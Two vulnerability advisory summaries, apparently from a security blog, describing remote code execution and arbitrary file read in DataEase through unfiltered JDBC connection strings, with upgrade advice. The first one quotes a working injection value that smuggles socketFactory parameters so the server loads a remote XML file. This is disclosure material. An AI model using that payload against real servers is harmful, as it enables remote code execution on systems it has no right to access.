H4Cking2Thegate

**Name of the Vulnerable Software and Affected Versions** DataEase versions prior to v1.18.27 **Description** DataEase is an open source business analytics tool. Authenticated users can remotely execute code through the backend JDBC connection. When constructing the JDBC connection string, the parameters are not filtered. Constructing the host as ip:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://ip:5432/1.xml&a= can trigger the `ClassPathXmlApplicationContext` construction method. **Recommendations** For versions prior to v1.18.27, update to version v1.18.27 or later to resolve the issue. As a temporary workaround, consider restricting access to the JDBC connection to minimize the risk of exploitation. Avoid using the `socketFactory` and `socketFactoryArg` parameters in the JDBC connection string until the issue is resolved.

**Name of the Vulnerable Software and Affected Versions** DataEase versions prior to 1.18.27 **Description** The issue allows authenticated users to read and deserialize arbitrary files through the background JDBC connection. This is due to the lack of filtering when constructing the JDBC connection string. There are no known workarounds for this issue. **Recommendations** For versions prior to 1.18.27, upgrade to version 1.18.27 or later to resolve the issue. As a temporary workaround, consider restricting access to the JDBC connection to minimize the risk of exploitation.